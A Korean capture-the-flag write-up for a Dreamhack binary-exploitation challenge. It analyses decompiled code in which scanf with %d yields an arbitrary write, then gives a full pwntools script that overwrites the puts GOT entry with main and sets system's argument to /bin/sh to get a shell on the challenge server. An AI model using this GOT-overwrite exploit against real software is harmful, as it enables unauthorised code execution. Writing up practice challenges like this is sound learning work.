파셜 relro에 pie가 없다. 분석만 잘하면 쉽게 풀 수 있을 것 같다.
int __fastcall main(int argc, const char **argv, const char **envp)
{
char *s[2]; // [rsp+0h] [rbp-10h] BYREF
s[1] = (char *)__readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
system(st);
printf("one chance for flag");
putchar(10);
printf("pt: ");
__isoc99_scanf("%d", s);
printf("input: ");
__isoc99_scanf("%s", s[0]);
printf("your input:");
puts(s[0]);
return 0;
}
첫 번째 scanf에서 %d 포맷으로 char 형 포인터 배열에 입력을 받는다.
이러면 s의 주소를 우리가 원하는 형식으로 조작할 수 있다.
단 C에서 정수형은 4바이트이기 때문에 이 크기만큼만 조작할 수 있다.
그리고 두 번째 scanf에서 그 주소에 %s 포맷으로 값을 입력받는다.
이 정보들을 조합해보면 aaw가 가능하다는 것을 알 수 있다.
그렇다면 system함수의 인자인 st의 값을 조작해서 system("/bin/sh")를 실행시킬 수 있지 않을까?
st를 조작할 수는 있지만 조작하는 시점에서 system은 이미 호출되고 난 후다. 그렇다면 다시 main으로 돌아가면 된다. 파셜 relro에 no pie라 got를 우리가 원하는 주소로 쉽게 overwrite할 수 있다.
puts의 got를 main의 주소로 덮어씌워 계속 루프를 돌게 만들고, st를 /bin/sh로 조작하면 풀 수 있을 것이다.
from pwn import *
p = remote("host3.dreamhack.games", 13520)
e = ELF("./prob")
main = e.symbols['main']
st = 0x0000000000404080
puts_got = e.got['puts']
#1 puts got overwrite
p.sendlineafter("pt: ", str(int(puts_got)))
p.sendlineafter("input: ", p64(main))
#2 st overwrite
p.sendlineafter("pt: ", str(int(st)))
p.sendlineafter("input: ", b'/bin/sh')
p.interactive()